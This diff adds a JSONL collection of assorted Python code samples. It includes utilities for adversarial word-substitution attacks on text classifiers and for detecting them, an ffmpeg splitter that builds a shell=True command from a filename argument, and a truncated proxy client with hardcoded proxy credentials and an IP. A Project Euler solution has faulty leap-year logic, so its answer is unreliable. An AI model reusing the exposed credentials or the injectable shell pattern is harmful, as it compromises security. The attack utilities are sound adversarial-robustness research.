diff --git "a/6188.jsonl" "b/6188.jsonl" new file mode 100644--- /dev/null +++ "b/6188.jsonl" @@ -0,0 +1,704 @@ +{"seq_id":"268016406","text":"import mgame\nscore=mgame.guess()\nprint(f\"congratulations u won ...attempts you took is {score}\")\nwith open(\"hiscore.txt\",\"r\") as f:\n hiscore=f.read()\nif hiscore=='':\n print(\"this was a new game...your score is the first highscore\")\n with open(\"hiscore.txt\",\"w\")as f:\n f.write(str(score))\nelif score>int(hiscore):\n print(\"u have not set the highscore\")\nelif score 0:\n elap = (end - start)\n print(\"[INFO] single frame {:.4f} seconds\".format(elap))\n print(\"[INFO] estimated total time: {:.4f}\".format(elap * total))\n\n # write output frame to disk\n writer.write(output)\n\n # check if need to display output frame to screen\n if args[\"show\"] > 0:\n cv2.imshow(\"Frame\", output)\n key = cv2.waitKey(1) & 0xFF\n\n # if \"q\" key is pressed, break from loop\n if key == ord(\"q\"):\n break\n\n# Release file pointers\nprint(\"[INFO] cleaning up...\")\nwriter.release()\nvs.release()\n","sub_path":"Segmentation/segment_video.py","file_name":"segment_video.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"257567248","text":"'''Define Jinja2 environment & render method'''\n\nimport os.path\nfrom datetime import datetime\nfrom jinja2 import Environment, FileSystemLoader\n\nfrom code import Pygments\nfrom md import Markdown\nfrom rst import Restructured\nfrom txtl import Textile\n\nDIR = os.path.dirname(os.path.abspath(__file__))\n\n# system templates\n\nSYS_ENV = Environment(autoescape=False, trim_blocks=True, lstrip_blocks=True,\n loader=FileSystemLoader([DIR]),\n extensions=['jinja2.ext.autoescape'])\n\ndef render_sys(fpath, root, **kwargs):\n d = {'root': root, 'ws': '%s/ws' % root, 'now': datetime.now()}\n d.update(kwargs)\n tmpl = SYS_ENV.get_template(fpath)\n return tmpl.render(d).encode('utf-8')\n\n# external templates\n\nEXT_ENV = Environment(autoescape=False, trim_blocks=True, lstrip_blocks=True,\n loader=FileSystemLoader(['.', 'templates']),\n extensions=['jinja2.ext.autoescape', Pygments, Markdown, Restructured, Textile])\n\ndef render_ext(fpath, root, **kwargs):\n d = {'root': root, 'ws': '%s/ws' % root, 'now': datetime.now()}\n d.update(kwargs)\n tmpl = EXT_ENV.get_template(fpath)\n return tmpl.render(d).encode('utf-8')\n\n","sub_path":"tmpl.py","file_name":"tmpl.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"196003140","text":"\"\"\"empty message\n\nRevision ID: 1ab74e577ccc\nRevises: a8abf58be70c\nCreate Date: 2020-04-23 22:23:20.095465\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1ab74e577ccc'\ndown_revision = 'a8abf58be70c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('upcoming_shows')\n op.drop_table('past_shows')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('past_shows',\n sa.Column('past_show_id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('venue_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('artist_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('start_time', sa.VARCHAR(length=120), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('past_show_id', name='past_shows_pkey')\n )\n op.create_table('upcoming_shows',\n sa.Column('upcoming_show_id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('venue_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('artist_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('start_time', sa.VARCHAR(length=120), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('upcoming_show_id', name='upcoming_shows_pkey')\n )\n # ### end Alembic commands ###\n","sub_path":"projects/01_fyyur/starter_code/migrations/versions/1ab74e577ccc_.py","file_name":"1ab74e577ccc_.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"566151198","text":"# Symbolic computing using python\n# Taylor ser\n\n# Import SymPy functionality by the command\n\nfrom sympy import *\n\nt = symbols('t')\n\n# ---- Expansion of e^t ----\nf = exp(t)\nf_series = f.series(t,0,3)\nprint(f_series)\n\n# ----- Expansion of e^(sin(t)) ----\ng = exp(sin(t))\ng_series = g.series(t,0,8)\nprint(g_series)\n","sub_path":"Third.py","file_name":"Third.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"635230892","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 23 16:53:37 2015\n\n@author: jordan\n\"\"\"\n\nimport csv\nfrom numpy.linalg import norm\nfrom scipy import *\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import animation\n\nimport os\nfrom subprocess import call\n\n\ndiffs = [10.0]\nsdirbase = \"../../../../data/postprocessing/uhcomp/DB/o3/10/\"\nwdirbase = \"../../../../data/raw/trackleadsola10new/o3/\"\n#wdirbase = \"../../../../data/raw/DBASPECTRAT/o3/10/10/8.0/\"\n\ndef centreddiff(x,q,dx):\n idx = 1.0 / dx\n n = len(q)\n dq = zeros(n)\n for i in range(1, n-1):\n dq[i] =0.5*idx*(q[i+1] - q[i-1])\n \n dq[0] =0.5*idx*(q[1] - q[0])\n \n dq[n-1] =0.5*idx*(q[n-1] - q[n-2])\n \n return dq\n \ndef findzeros(q,Q,x):\n n = len(q)\n qxs = []\n qvs = []\n Qvs = []\n signs = []\n for i in range(1,n):\n if(q[i]*q[i-1] <= 0 and q[i] < q[i-1] ):\n qx = 0.5*(x[i] + x[i-1])\n qv = 0.5*(q[i] + q[i-1])\n Qv = 0.5*(Q[i] + Q[i-1])\n qxs.append(qx)\n qvs.append(qv)\n Qvs.append(Qv)\n signs.append(0)\n if(q[i]*q[i-1] <= 0 and q[i] > q[i-1] ):\n qx = 0.5*(x[i] + x[i-1])\n qv = 0.5*(q[i] + q[i-1])\n Qv = 0.5*(Q[i] + Q[i-1])\n qxs.append(qx)\n qvs.append(qv)\n Qvs.append(Qv)\n signs.append(1)\n return qxs,qvs,Qvs,signs\n \ndef closepts(u,ux,usign, h,hx, hsign,tol):\n m = len(ux)\n n = len(hx)\n sameuxs = []\n diffuxs = []\n samehxs = []\n diffhxs = []\n sameus = []\n diffus = []\n samehs = []\n diffhs = []\n nouxs = []\n nous = []\n prevuxs = 0.0\n for i in range(m):\n fx = ux[i]\n found = 0\n for k in range(n):\n if abs(fx - hx[k]) < tol:\n found = 1\n if(usign[i] == hsign[k]):\n #same sign\n sameuxs.append(ux[i])\n sameus.append(u[i])\n samehs.append(h[k])\n samehxs.append(hx[k])\n elif(usign[i] != hsign[k]):\n #different sign\n diffuxs.append(ux[i])\n diffus.append(u[i])\n diffhs.append(h[k])\n diffhxs.append(hx[k])\n break\n if (found == 0 and abs(prevuxs - u[i]) > 10**(-10) ):\n prevuxs = u[i]\n nouxs.append(ux[i])\n nous.append(u[i]) \n return sameuxs,samehxs,sameus,samehs,diffuxs,diffhxs,diffus,diffhs, nouxs, nous\n\n\nfig = plt.figure()\nax = plt.axes(xlim=(490, 510), ylim=(1.2, 1.5))\nline, = ax.plot([], [], lw=2) \ntime_text = ax.text(0.02, 0.95, '', transform=ax.transAxes)\n\ndef init():\n line.set_data([], [])\n time_text.set_text('')\n return line,time_text\n\n\ndef animate(i):\n\n tol = 0.1 \n intrange = 11.0 \n #for i in range(5120,1024000,5120):\n #for i in range(5120,2*5120,5120):\n fi = 10*2*5120 + 5120*i \n s = wdirbase + \"out\" + str(fi) + \".txt\"\n with open(s,'r') as file1:\n readfile = csv.reader(file1, delimiter = ',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n \n h = []\n u = []\n x = []\n j = -1\n for row in readfile: \n if (j >= 0):\n dx = float(row[0])\n dt = float(row[1])\n t = float(row[2])\n x.append(float(row[4]))\n h.append(float(row[5]))\n u.append(float(row[7]))\n j = j + 1\n \n dh = centreddiff(x,h,dx)\n du = centreddiff(x,u,dx)\n \n dhx,dhv,hv,hsig = findzeros(dh,h,x)\n dux,duv,uv,usig = findzeros(du,u,x)\n \n sameuxs,samehxs,sameus,samehs,diffuxs,diffhxs,diffus,diffhs, nouxs, nous = closepts(uv,dux,usig, hv,dhx, hsig,tol)\n \n if(len(diffhxs) > 0 and len(samehxs) > 0):\n cdx = 0.5*(diffhxs[-1] +samehxs[0])\n cdxl = cdx - intrange\n cdxr = cdx + intrange\n cdxli = int(cdxl/dx)\n cdxri = int(cdxr/dx)\n \n \n xint = array(x[cdxli:cdxri]) - 1.074975*t\n hint = h[cdxli:cdxri]\n uint = u[cdxli:cdxri]\n \n time_text.set_text('time = %.1f' % t)\n line.set_data(xint, hint)\n return line,time_text\n \nanim = animation.FuncAnimation(fig, animate, init_func=init,frames=180, interval=1, blit=True)\n\n\"\"\"\nhps = [] \nups = []\nts = [] \ntol = 0.1 \nintrange = 1.0 \n#for i in range(5120,1024000,5120):\n#for i in range(5120,2*5120,5120):\nfor i in range(4,11):\n i = 90*2*5120 + 2*5120*i \n s = wdirbase + \"out\" + str(i) + \".txt\"\n with open(s,'r') as file1:\n readfile = csv.reader(file1, delimiter = ',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n \n h = []\n u = []\n x = []\n j = -1\n for row in readfile: \n if (j >= 0):\n dx = float(row[0])\n dt = float(row[1])\n t = float(row[2])\n x.append(float(row[4]))\n h.append(float(row[5]))\n u.append(float(row[7]))\n j = j + 1\n \n u2 = 1.074975\n h2 = 1.36898\n \n dh = centreddiff(x,h,dx)\n du = centreddiff(x,u,dx)\n \n dhx,dhv,hv,hsig = findzeros(dh,h,x)\n dux,duv,uv,usig = findzeros(du,u,x)\n \n sameuxs,samehxs,sameus,samehs,diffuxs,diffhxs,diffus,diffhs, nouxs, nous = closepts(uv,dux,usig, hv,dhx, hsig,tol)\n \n if(len(diffhxs) > 0 and len(samehxs) > 0):\n cdx = 0.5*(diffhxs[-1] +samehxs[0])\n cdxl = cdx - intrange\n cdxr = cdx + intrange\n cdxli = int(cdxl/dx)\n cdxri = int(cdxr/dx)\n \n \n xint = array(x[cdxli:cdxri]) - 1.074975*t\n hint = h[cdxli:cdxri]\n uint = u[cdxli:cdxri]\n \n s = str(t)\n plot(xint,uint,label=s)\n\"\"\" \n\n\n \n \n","sub_path":"CODE/postprocessing/morecomplex/Damtimeinvest/trackcdplotitwithtimeshift.py","file_name":"trackcdplotitwithtimeshift.py","file_ext":"py","file_size_in_byte":5833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"587741624","text":"#! /usr/bin/env python3\nimport os,sys\nfrom xml.etree.ElementTree import Element,SubElement,tostring\nimport xml.etree.ElementTree as ET\nimport subprocess as sp\nimport shutil\nif len(sys.argv) < 2:\n exit(\"please give fname\")\n\ndef genXml(fname=''):\n infile=\"vol.txt\"\n read=open(infile,\"r\")\n top=Element(\"splitter\",fname=fname)\n counter=0\n for i in read:\n counter+=1\n line=i.split(\":\")\n num=int(line[0])\n if num % 2 == 1:\n chunk=SubElement(top,\"chunk\",val=str(counter))\n if num % 2 == 1:\n if line[1] == \"silence_end\":\n chunkS=SubElement(chunk,\"end\")\n chunkS.text=line[2].rstrip(\"\\n\")\n if num % 2 == 0:\n if line[1] == \"silence_start\":\n chunkE=SubElement(chunk,\"start\")\n chunkE.text=line[2].rstrip(\"\\n\")\n return tostring(top).decode()\n\ndef writeXml(xml,xmlfile):\n file=open(xmlfile,\"wb\")\n file.write(xml)\n file.close()\n\ndef parseXml():\n songDir=\"songs\"\n songDir=os.path.realpath(os.path.expanduser(songDir))\n if not os.path.exists(songDir):\n os.mkdir(songDir)\n if os.path.exists(songDir):\n fname=sys.argv[1]\n xmlfile=\"vol.xml\"\n xml=genXml(fname=fname)\n writeXml(xml.encode(),xmlfile)\n \n end=0\n start=0\n \n tree=ET.parse(xmlfile)\n root=tree.getroot()\n for chunk in root:\n print(chunk.tag,chunk.attrib)\n for children in chunk:\n if children.tag == \"end\":\n end=float(children.text)-0.50\n #print(end,\"end\")\n if children.tag == \"start\":\n start=(float(children.text)-end)+0.50\n #print(start,\"start\")\n fnameSplit=os.path.splitext(fname)\n ext=fnameSplit[1]\n oname=chunk.attrib['val']+ext\n cmd=\"printf '%s\\n' y | ffmpeg -ss {} -t {} -i {} {}\".format(end,start,fname,os.path.join(songDir,oname))\n proc=sp.Popen(cmd,shell=True,stdout=sp.PIPE)\n stdout,err=proc.communicate()\n print(stdout)\n else:\n exit(\"songdir does not exist: {}\".format(songDir))\n\n\n\n\nparseXml()\n","sub_path":"letsRip/genxml.py","file_name":"genxml.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"506790254","text":"# You are given the following information, but you may prefer to do some research for yourself.\n\n# 1 Jan 1900 was a Monday.\n# Thirty days has September,\n# April, June and November.\n# All the rest have thirty-one,\n# Saving February alone,\n# Which has twenty-eight, rain or shine.\n# And on leap years, twenty-nine.\n# A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.\n# How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?\n# Problem 19\n\ntotalDays = 0\nSundays = 0\nfor year in range(1901, 2001):\n leapYear = ((year % 4 == 0) or (year % 400 == 0))\n for month in range(1, 13): \n monthDays = 31\n if (month == 4 or month == 6 or month == 9 or month == 11):\n monthDays = 30\n elif (month == 2 and leapYear):\n monthDays = 29\n elif (month == 2 and leapYear != True):\n monthDays = 28\n \n totalDays += monthDays\n if ((totalDays - 1) % 7 == 0) and (year > 1901 and year < 2001):\n Sundays += 1\nprint(Sundays)\n\n \n","sub_path":"Problem19.py","file_name":"Problem19.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"353471464","text":"\"\"\"\nParts based on https://colab.research.google.com/drive/1pTuQhug6Dhl9XalKB0zUGf4FIdYFlpcX\n\"\"\"\nimport re\nimport torch\nimport pickle\nimport math\nimport random\nimport sklearn\nimport os\nimport torch.nn as nn\nimport numpy as np\nimport statsmodels.stats.api as stats\nfrom shutil import copyfile\nfrom nltk.corpus import wordnet\nfrom sklearn.metrics import roc_auc_score\n\n\nclass AttackArgs:\n def __init__(self, config, logger, model_word_to_idx, data_tokenizer):\n self.config = config\n self.logger = logger\n self.model_word_to_idx = model_word_to_idx\n self.data_tokenizer = data_tokenizer\n\n\ndef compute_accuracy(preds, labels):\n assert len(preds) == len(labels)\n return len([True for p, t in zip(preds, labels) if p == t]) / len(preds)\n\n\ndef load_model(path, model, logger):\n logger.log.info(\"Load model from {}\".format(path))\n checkpoint = torch.load(path)\n model.load_state_dict(checkpoint[\"model_state_dict\"])\n return model\n\n\ndef get_word_net_synonyms(word):\n \"\"\"\n Parts from https://github.com/JHL-HUST/PWWS/blob/master/paraphrase.py\n \"\"\"\n synonyms = []\n\n for synset in wordnet.synsets(word):\n for w in synset.lemmas():\n synonyms.append(w.name().replace(\"_\", \" \"))\n\n synonyms = sorted(\n list(set([x.lower() for x in synonyms if len(x.split()) == 1]) - {word})\n )\n\n return synonyms\n\n\ndef compute_perplexity_GPT2(inputs, tokenizer, language_model, is_gpu=True):\n \"\"\"\n Following https://github.com/huggingface/pytorch-transformers/issues/473\n \"\"\"\n tokens = torch.tensor(\n [tokenizer.encode(i, add_special_tokens=True) for i in inputs]\n )\n\n if is_gpu:\n tokens = tokens.cuda()\n\n with torch.no_grad():\n output = language_model(tokens, labels=tokens)\n\n return math.exp(output.loss.item())\n\n\ndef get_freq(freq, word, use_log=False):\n try:\n return np.log(1 + freq[word]) if use_log else freq[word]\n except KeyError:\n return 0\n\n\ndef get_n_neighbors_delta(\n word, attack_word_to_idx, dist_mat, delta, n_neighbors_delta_map\n):\n try:\n return n_neighbors_delta_map[word]\n except KeyError:\n w_idx = attack_word_to_idx[word]\n v_neighbors = [x for x in dist_mat[w_idx] if x <= delta]\n n_neighbors_delta_map[word] = len(v_neighbors)\n return n_neighbors_delta_map[word]\n\n\ndef attack_get_neighboring_embeddings(\n word, dist_mat, attack_word_to_idx, attack_idx_to_word, k, orig_input, delta=None\n):\n w_idx = attack_word_to_idx[word]\n orig_idx = attack_word_to_idx[orig_input]\n neighbors = dist_mat[w_idx]\n sorted_idx = np.argsort(neighbors)\n sorted_idx = sorted_idx[: k + 2].tolist()\n sorted_idx = [i for i in sorted_idx if i not in [w_idx, orig_idx]][:k]\n sorted_idx = (\n [i for i in sorted_idx if neighbors[i] <= delta]\n if delta is not None\n else sorted_idx\n )\n w_neighbors = [attack_idx_to_word[i] for i in sorted_idx]\n\n return w_neighbors\n\n\ndef get_neighboring_embeddings(\n word,\n dist_mat,\n word_to_idx,\n idx_to_word,\n k,\n dist_mat_idx_to_idx,\n idx_to_dist_mat_idx,\n):\n idx = idx_to_dist_mat_idx[word_to_idx[word]]\n neighbors = dist_mat[idx]\n sorted_idx = np.argsort(neighbors).tolist()\n sorted_idx.remove(idx)\n verb_neighbors = [idx_to_word[dist_mat_idx_to_idx[i]] for i in sorted_idx[:k]]\n\n return verb_neighbors\n\n\ndef clean_str(string, tokenizer=None):\n \"\"\"\n Parts adapted from https://github.com/Shawn1993/cnn-text-classification-pytorch/blob/master/mydatasets.py\n \"\"\"\n assert isinstance(string, str)\n string = string.replace(\"
\", \"\")\n string = re.sub(r\"[^a-zA-Z0-9.]+\", \" \", string)\n\n return (\n string.strip().lower().split()\n if tokenizer is None\n else [t.text.lower() for t in tokenizer(string.strip())]\n )\n\n\ndef save_pkl(file, path):\n with open(path, \"wb\") as handle:\n pickle.dump(file, handle)\n\n\ndef load_pkl(path):\n with open(path, \"rb\") as handle:\n return pickle.load(handle)\n\n\ndef prep_seq(seq, word_to_idx, unk_token):\n assert isinstance(seq, list)\n seq_num = []\n\n for word in seq:\n try:\n seq_num.append(word_to_idx[word])\n except KeyError:\n seq_num.append(word_to_idx[unk_token])\n\n return seq_num\n\n\ndef pad(max_len, seq, token):\n assert isinstance(seq, list)\n abs_len = len(seq)\n\n if abs_len > max_len:\n seq = seq[:max_len]\n else:\n seq += [token] * (max_len - abs_len)\n\n return seq\n\n\ndef cut_raw(seq, max_len):\n assert isinstance(seq, list)\n return seq[:max_len]\n\n\ndef inference(\n inputs,\n model,\n word_to_idx,\n config,\n bert_wrapper=None,\n tokenizer=None,\n val=False,\n single=False,\n):\n softmax = nn.Softmax(dim=1)\n model.eval()\n\n if single:\n assert isinstance(inputs, str)\n inputs = [inputs]\n else:\n assert isinstance(inputs, list)\n\n if tokenizer:\n for x in inputs:\n assert isinstance(x, str)\n\n inputs = [\n pad(config.max_len, clean_str(x, tokenizer=tokenizer), config.pad_token)\n for x in inputs\n ]\n else:\n for x in inputs:\n assert isinstance(x, list)\n\n inputs = [pad(config.max_len, x, config.pad_token) for x in inputs]\n\n if config.use_BERT:\n inputs, masks = [\n list(x) for x in zip(*[bert_wrapper.pre_pro(t) for t in inputs])\n ]\n inputs, masks = torch.tensor(inputs), torch.tensor(masks)\n masks = masks.cuda() if config.gpu else masks\n else:\n inputs = torch.tensor(\n [prep_seq(x, word_to_idx, config.unk_token) for x in inputs],\n dtype=torch.int64,\n )\n masks = None\n\n inputs = inputs.cuda() if config.gpu else inputs\n\n with torch.no_grad():\n if config.use_BERT:\n outputs = model(inputs, token_type_ids=None, attention_mask=masks)\n outputs = outputs.logits\n else:\n outputs = model(inputs)\n\n outputs = softmax(outputs)\n probs = outputs.cpu().detach().numpy().tolist()\n _, preds = torch.max(outputs, 1)\n preds = preds.cpu().detach().numpy().tolist()\n\n if single:\n preds, probs = preds[0], probs[0]\n\n if val:\n return preds, outputs\n else:\n return preds, probs\n\n\ndef crossover(parent_1, parent_2):\n new_seq = []\n idx = []\n\n for i in range(len(parent_1.text)):\n if random.random() > 0.5:\n new_seq.append(parent_1.text[i])\n\n if i in parent_1.perturbed_idx:\n idx.append(i)\n else:\n new_seq.append(parent_2.text[i])\n\n if i in parent_2.perturbed_idx:\n idx.append(i)\n\n return new_seq, idx\n\n\ndef shuffle_lists(*args):\n \"\"\"\n See https://stackoverflow.com/a/36695026\n \"\"\"\n zipped = list(zip(*args))\n random.shuffle(zipped)\n return [list(x) for x in zip(*zipped)]\n\n\ndef bootstrap_sample(all_unperturbed, all_perturbed, bootstrap_sample_size=2000):\n scores_sum = {}\n perturbed_auc_scores = [score for score, _ in all_perturbed]\n perturbed_auc_labels = [1] * len(perturbed_auc_scores)\n unperturbed_auc_labels = [0] * len(perturbed_auc_scores)\n pos = len(all_perturbed)\n t_p = [l for _, l in all_perturbed].count(1)\n f_n = pos - t_p\n\n for _ in range(bootstrap_sample_size):\n neg = pos\n sample = random.sample(all_unperturbed, neg)\n f_p = [l for _, l in sample].count(1)\n t_n = neg - f_p\n unperturbed_auc_scores = [score for score, _ in sample]\n\n scores = compute_scores(\n perturbed_auc_scores + unperturbed_auc_scores,\n perturbed_auc_labels + unperturbed_auc_labels,\n pos,\n neg,\n t_p,\n t_n,\n f_p,\n f_n,\n )\n\n for name, score in scores.items():\n try:\n scores_sum[name].append(score)\n except KeyError:\n scores_sum[name] = [score]\n\n return scores_sum\n\n\ndef get_ci(data, alpha=0.05):\n return stats.DescrStatsW(data).tconfint_mean(alpha=alpha)\n\n\ndef compute_scores(probs_one, labels, pos, neg, t_p, t_n, f_p, f_n, round_scores=False):\n assert t_p + f_n == pos\n assert t_n + f_p == neg\n assert len(probs_one) == pos + neg == len(labels)\n\n scores = {\n \"auc\": roc_auc_score(labels, probs_one),\n \"tpr\": t_p / pos if pos > 0 else 0,\n \"fpr\": f_p / neg if neg > 0 else 0,\n \"tnr\": t_n / neg if neg > 0 else 0,\n \"fnr\": f_n / pos if pos > 0 else 0,\n \"pr\": t_p / (t_p + f_p) if t_p + f_p > 0 else 0,\n \"re\": t_p / (t_p + f_n) if t_p + f_n > 0 else 0,\n \"f1\": (2 * t_p) / (2 * t_p + f_p + f_n) if 2 * t_p + f_p + f_n > 0 else 0,\n \"acc\": (t_p + t_n) / (pos + neg) if pos + neg > 0 else 0,\n }\n\n if round_scores:\n scores = {k: np.round(v * 100, 1) for k, v in scores.items()}\n\n return scores\n\n\ndef print_model_state_dict(logger, model):\n \"\"\"\n See https://pytorch.org/tutorials/beginner/saving_loading_models.html\n See https://discuss.pytorch.org/t/how-do-i-check-the-number-of-parameters-of-a-model/4325/9\n \"\"\"\n logger.log.info(\"Model state dict:\")\n\n for param_tensor in model.state_dict():\n logger.log.info(\n \"{}\\t{}\".format(param_tensor, model.state_dict()[param_tensor].size())\n )\n\n logger.log.info(\n \"Num params: {}\".format(\n sum([x.numel() for x in model.parameters() if x.requires_grad])\n )\n )\n\n\ndef attack_time_stats(logger, exec_times, curr_attack_time, num_remaining):\n time_used = sum(exec_times)\n time_remaining = np.mean(exec_times) * num_remaining\n\n logger.log.info(\n \"Total time elapsed: {} secs OR {} mins OR {} hrs\".format(\n np.round(time_used, 2),\n np.round(time_used / 60, 2),\n np.round(time_used / 3600, 2),\n )\n )\n logger.log.info(\n \"Time needed for this attack: {}\".format(np.round(curr_attack_time, 2))\n )\n logger.log.info(\n \"Average time per attack so far: {}\".format(np.round(np.mean(exec_times), 2))\n )\n logger.log.info(\n \"ETA: {} secs OR {} mins OR {} hrs\".format(\n np.round(time_remaining, 2),\n np.round(time_remaining / 60, 2),\n np.round((time_remaining / 3600), 2),\n )\n )\n\n\ndef load_attack_mat(config, logger):\n \"\"\"\n Source: https://github.com/nesl/nlp_adversarial_examples (modified)\n \"\"\"\n if not os.path.exists(config.path_to_attack_dist_mat):\n attack_dist_mat_word_to_idx = {}\n attack_dist_mat_idx_to_word = {}\n\n logger.log.info(\"Loading counter-fitted model for attack\")\n f = open(config.cf_path, \"r\")\n model = []\n model_dict = []\n idx = 0\n\n for line in f:\n row = line.strip().split(\" \")\n word = row[0]\n\n embedding = np.array([float(val) for val in row[1:]])\n model.append(embedding)\n model_dict.append(word)\n attack_dist_mat_word_to_idx[word] = idx\n attack_dist_mat_idx_to_word[idx] = word\n idx += 1\n\n logger.log.info(\"Done. {} words loaded!\".format(len(model)))\n logger.log.info(\"Compute {} dist mat\".format(config.dist_metric))\n\n if config.dist_metric == \"euclidean\":\n attack_dist_mat = sklearn.metrics.pairwise.euclidean_distances(model)\n else:\n attack_dist_mat = sklearn.metrics.pairwise.cosine_distances(model)\n\n logger.log.info(\"Attack dist mat shape {}\".format(np.shape(attack_dist_mat)))\n logger.log.info(\"Save attack mat\")\n\n np.save(config.path_to_attack_dist_mat, attack_dist_mat)\n save_pkl(\n attack_dist_mat_word_to_idx, config.path_to_attack_dist_mat_word_to_idx\n )\n save_pkl(\n attack_dist_mat_idx_to_word, config.path_to_attack_dist_mat_idx_to_word\n )\n\n logger.log.info(\"Saved attack mat\")\n else:\n logger.log.info(\n \"Load pre-computed attack mat from {}\".format(\n config.path_to_attack_dist_mat\n )\n )\n attack_dist_mat_word_to_idx = load_pkl(\n config.path_to_attack_dist_mat_word_to_idx\n )\n attack_dist_mat_idx_to_word = load_pkl(\n config.path_to_attack_dist_mat_idx_to_word\n )\n attack_dist_mat = np.load(config.path_to_attack_dist_mat)\n logger.log.info(\"Attack dist mat shape: {}\".format(np.shape(attack_dist_mat)))\n\n return attack_dist_mat, attack_dist_mat_word_to_idx, attack_dist_mat_idx_to_word\n\n\ndef compute_adversarial_word_overlap(adv_mods, detect_mods, logger):\n mods_idxs = set([i for (_, _, i) in adv_mods])\n t_mods_idxs = set([i for (_, _, i) in detect_mods])\n\n re_identified = (\n len(list(mods_idxs & t_mods_idxs)) / len(mods_idxs) if len(mods_idxs) > 0 else 0\n )\n\n pr_identified = (\n len(list(mods_idxs & t_mods_idxs)) / len(t_mods_idxs)\n if len(t_mods_idxs) > 0\n else 0\n )\n\n logger.log.info(\"Precision re-identified perturbed idxs: {}\".format(pr_identified))\n logger.log.info(\"Recall re-identified perturbed idxs: {}\".format(re_identified))\n\n return re_identified, pr_identified\n\n\ndef get_attack_data(config, data_module):\n if config.attack_train_set:\n attack_sequences = data_module.train_texts\n attack_pols = data_module.train_pols\n elif config.attack_val_set or config.tune_delta_on_val or config.detect_val_set:\n attack_sequences = data_module.val_texts\n attack_pols = data_module.val_pols\n else:\n attack_sequences = data_module.test_texts\n attack_pols = data_module.test_pols\n\n if config.limit > 0:\n attack_sequences = attack_sequences[: config.limit]\n attack_pols = attack_pols[: config.limit]\n\n return attack_sequences, attack_pols\n\n\ndef list_join(input_list):\n assert isinstance(input_list, list)\n return \" \".join(input_list)\n\n\ndef copy_file(config):\n copyfile(\n \"{}/config.py\".format(config.project_root_path),\n \"{}/config.py\".format(config.model_base_path),\n )\n\n\ndef get_oov_count(perturbed_indices, word_to_idx):\n oov = 0\n\n for (_, subst, _) in perturbed_indices:\n try:\n _ = word_to_idx[subst]\n except KeyError:\n oov += 1\n\n return oov\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"93980317","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 4 15:11:18 2019\n\n@author: georgiabaltsou\n\"\"\"\n\n#convert edge txt file to csv file appending also weight 1 to all edges\n\nimport csv\n\n\nwith open('lfrEdgelistExample.txt') as data_file: \n reader = csv.reader(data_file, delimiter=' ') \n with open('log.csv', 'w') as out_file:\n writer = csv.writer(out_file, delimiter=';') \n for row in reader:\n writer.writerow([row[0],row[1], 1])","sub_path":"txtToCsv.py","file_name":"txtToCsv.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"407367655","text":"from kivy.uix.screenmanager import Screen\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.button import Button\n\n\nclass PrehabScreen(Screen):\n def __init__(self, **kwargs):\n super(PrehabScreen, self).__init__(**kwargs)\n self.grid = GridLayout()\n self.grid.cols = 1\n self.grid.add_widget(Button(text=\"Back\"))\n\n self.add_widget(self.grid)","sub_path":"screens/prehab.py","file_name":"prehab.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"44435345","text":"#!/usr/bin/env python\n#\n# ______ _____ _ _ _\n# | ___ \\ / __ \\| |(_) | |\n# | |_/ / _ __ ___ __ __ _ _ | / \\/| | _ ___ _ __ | |_\n# | __/ | '__| / _ \\ \\ \\/ /| | | | | | | || | / _ \\| '_ \\ | __|\n# | | | | | (_) | > < | |_| | | \\__/\\| || || __/| | | || |_\n# \\_| |_| \\___/ /_/\\_\\ \\__, | \\____/|_||_| \\___||_| |_| \\__|\n# __/ |\n# |___/\n\nfrom http.server import BaseHTTPRequestHandler\nfrom http.server import HTTPServer\nimport urllib.request\nimport urllib.parse\n\nheaders = {}\nheaders ['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0'\n\n# IP Proxy SQUID\n# proxy = {'http': 'EFFICOM:EFFICOM@142.93.230.147'}\nproxy = {'http': 